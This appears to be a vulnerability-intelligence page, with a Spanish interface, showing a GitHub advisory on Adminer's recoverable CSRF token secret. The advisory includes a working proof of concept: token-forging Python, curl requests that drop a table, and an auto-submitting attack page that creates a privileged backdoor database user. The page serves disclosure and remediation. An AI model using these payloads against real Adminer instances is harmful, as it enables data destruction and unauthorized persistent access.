llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · vrana/adminer

GHSA-33J4-HC95-PGGG

CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
6.8
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición135 dDesde la divulgación, 9 jul 2026, 6:15 a. m.
Detección134 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Si tu inventario está al día, ya ganaste.Un riesgo moderado es un riesgo con modales.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 jul 26
21 nov 26
9 jul 26
12 ago 26
15 sept 26
18 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-33J4-HC95-PGGG divulgada · CVSS 6.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
Adminer's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (`rand(1, 1e6)`), making blind brute-force feasible even without token observation.

### Details
Token generation in `adminer/include/functions.inc.php` lines 897-899:

function get_token(): string {
    $rand = rand(1, 1e6);
    return ($rand ^ $_SESSION["token"]) . ":$rand";
}

Token verification in lines 903-905:

function verify_token(): bool {
    list($token, $rand) = explode(":", $_POST["token"]);
    return ($rand ^ $_SESSION["token"]) == $token;
}

Session token initialized in `adminer/include/auth.inc.php` lines 150 and 205:

$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses:

  1. Instant recovery: The token format `(rand XOR secret):rand` transmits both operands. Recovery is trivial: `secret = masked_value XOR rand`.
  1. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
  1. Loose comparison: `verify_token()` uses `==` (loose comparison) instead of `===`, enabling PHP type juggling.

### PoC
Validated against a live Adminer 5.4.3-dev instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated Adminer page and extract a token from the HTML source. Tokens appear in hidden form fields:

<input type='hidden' name='token' value='222277:990527'>

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)
observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530

The token format is `(rand XOR secret):rand`. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens
import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
  'http://target/adminer/?server=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=729376:481370" \
  --data-urlencode "query=DROP TABLE csrf_victim_table;" \
  -d "limit=0"
Step 5: Verify a random wrong token is rejected (control)
curl -b victim_cookies.txt \
  'http://target/adminer/?server=127.0.0.1&username=root&db=testdb&sql=' \
  --data-urlencode "token=111:222" \
  --data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."
Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to Adminer:

<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
      action="http://target/adminer/?server=127.0.0.1&username=root&db=production&sql=">
  <input type="hidden" name="token" value="729376:481370">
  <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
  <input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>

### Impact
- Cross-Site Request Forgery against authenticated Adminer users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server.
- An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
- With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
- The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
5.9/ 10Medio
Vector 5.9 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
vrana/adminer≤ 5.4.3-dev
5.4.3-dev
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistvrana/adminer
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/vrana/adminer/security/advisories/GHSA-33j4-hc95-pggg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.